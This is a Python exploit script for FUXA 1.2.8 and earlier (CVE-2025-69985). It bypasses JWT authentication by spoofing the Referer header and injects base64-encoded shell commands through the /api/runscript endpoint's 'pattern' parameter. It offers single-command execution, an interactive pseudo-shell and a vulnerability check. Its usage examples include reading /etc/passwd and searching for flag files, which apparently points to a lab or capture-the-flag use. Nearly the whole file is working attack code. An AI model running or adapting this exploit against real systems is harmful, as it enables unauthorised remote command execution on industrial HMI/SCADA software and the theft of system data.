#!/usr/bin/env python3 """ FUXA ≤ 1.2.8 CVE-2025-69985 Auth Bypass + Command Injection Exploit ==================================================================== Combined exploit that: 1. Bypasses JWT authentication via Referer header spoofing (CVE-2025-69985) 2. Exploits command injection in s_maint_preview_bundle script via /api/runscript Usage: python3 fuxa_rce.py -t http://192.168.1.112:1881 -c "id" python3 fuxa_rce.py -t http://192.168.1.112:1881 -c "cat /etc/passwd" python3 fuxa_rce.py -t http://192.168.1.112:1881 --shell Dependencies: pip install requests urllib3 """ import requests import argparse import sys import base64 import json import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # ── colors ─────────────────────────────────────────── GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BLUE = '\033[94m' CYAN = '\033[96m' RESET = '\033[0m' BANNER = f"""{CYAN} ███████╗██╗ ██╗██╗ ██╗ █████╗ ██╔════╝██║ ██║╚██╗██╔╝██╔══██╗ █████╗ ██║ ██║ ╚███╔╝ ███████║ ██╔══╝ ██║ ██║ ██╔██╗ ██╔══██║ ██║ ╚██████╔╝██╔╝ ██╗██║ ██║ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ CVE-2025-69985 Auth Bypass + CMDi {RESET}""" def print_status(msg, color=BLUE, symbol="[*]"): print(f"{color}{symbol} {msg}{RESET}") def print_success(msg): print_status(msg, GREEN, "[+]") def print_warning(msg): print_status(msg, YELLOW, "[!]") def print_error(msg): print_status(msg, RED, "[-]") def rce(target_url, command): """ Execute arbitrary command on vulnerable FUXA target. Attack flow: 1. Referer header spoofing bypasses JWT middleware (CVE-2025-69985) 2. Payload includes Angular HttpClient serialized headers wrapper 3. s_maint_preview_bundle script provides command injection via pattern parameter 4. Base64 encoding avoids shell special character escaping """ url = f"{target_url.rstrip('/')}/api/runscript" # Base64 encode the command to avoid shell escaping nightmares b64 = base64.b64encode(command.encode()).decode() # Append an unlikely literal pattern so the original "grep -i ${query}" # still receives a PATTERN after command substitution. Without this, # grep prints its usage text because $(...) expands to an empty string. injection = f"$(echo {b64}|base64 -d|bash >&2)__fuxa_nohit__" # The Angular frontend serializes HttpHeaders into the request body. # The body MUST include: { headers: {normalizedNames, lazyUpdate, lazyInit}, params: {script, toLogEvent} } payload = { "headers": { "normalizedNames": {}, "lazyUpdate": None, "lazyInit": None }, "params": { "script": { "id": "s_maint_preview_bundle", "name": "asset_cache_preview", "code": "placeholder", "sync": False, "parameters": [{ "name": "pattern", "type": "value", "value": injection }], "permission": None, "mode": "SERVER" }, "toLogEvent": False } } http_headers = { "Content-Type": "application/json", "Referer": f"{target_url.rstrip('/')}/fuxa" # CVE-2025-69985 bypass } print_status(f"CMD: {command}") print_status(f"Injection: {injection[:80]}...") try: r = requests.post( url, headers=http_headers, json=payload, timeout=30, verify=False ) if r.status_code == 200: try: data = json.loads(r.text) # Some FUXA versions double-encode /api/runscript responses: # HTTP body is a JSON string containing a JSON object. if isinstance(data, str): try: data = json.loads(data) except json.JSONDecodeError: output = data else: output = data.get("stderr") or data.get("stdout") or data.get("output") or r.text elif isinstance(data, dict): output = data.get("stderr") or data.get("stdout") or data.get("output") or r.text else: output = str(data) if isinstance(output, list): # child_process style output array: [err, stdout, stderr] output = "".join(str(x) for x in output if x) print(f"\n{GREEN}── output ──────────────────────────────{RESET}") print(output) print(f"{GREEN}────────────────────────────────────────{RESET}\n") return output except json.JSONDecodeError: print(r.text) return r.text else: print_error(f"HTTP {r.status_code}: {r.text[:300]}") return None except requests.exceptions.Timeout: print_warning("Request timed out (command may still have executed)") return None except Exception as e: print_error(f"Request failed: {e}") return None def interactive_shell(target_url): """Interactive pseudo-shell via command injection.""" print_success(f"Interactive shell on {target_url}") print(f"{YELLOW}Type 'exit' to quit, Ctrl+C to interrupt{RESET}\n") hostname = rce(target_url, "hostname").strip() user = rce(target_url, "whoami").strip() while True: try: cmd = input(f"{GREEN}{user}@{hostname}{RESET}:{BLUE}/$ {RESET}") if cmd.lower() in ("exit", "quit"): break if cmd.strip(): rce(target_url, cmd) except KeyboardInterrupt: print() continue except EOFError: break print_success("Shell session ended.") def main(): parser = argparse.ArgumentParser( description=f"{BANNER}\nFUXA <= 1.2.8 CVE-2025-69985 Auth Bypass + Command Injection", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 fuxa_rce.py -t http://192.168.1.112:1881 -c "id" python3 fuxa_rce.py -t http://192.168.1.112:1881 -c "cat /etc/passwd" python3 fuxa_rce.py -t http://192.168.1.112:1881 --shell python3 fuxa_rce.py -t http://192.168.1.112:1881 -c "find / -name flag* -type f 2>/dev/null" """ ) parser.add_argument("-t", "--target", required=True, help="Target FUXA URL (http://host:port)") parser.add_argument("-c", "--cmd", help="Single command to execute") parser.add_argument("--shell", action="store_true", help="Launch interactive pseudo-shell") parser.add_argument("--check", action="store_true", help="Check if target is vulnerable") args = parser.parse_args() target = args.target.rstrip("/") print(BANNER) print(f" {BLUE}Target :{RESET} {target}\n") # Vulnerability check if args.check or (not args.cmd and not args.shell): print_status("Checking vulnerability...") result = rce(target, "id") if result and "uid=" in result: print_success(f"Target is VULNERABLE! RCE confirmed.") elif result: print_warning(f"Got response but no id output. Check manually.") else: print_error("Target does not appear vulnerable.") if not args.cmd and not args.shell: return if args.shell: interactive_shell(target) elif args.cmd: rce(target, args.cmd) if __name__ == "__main__": main()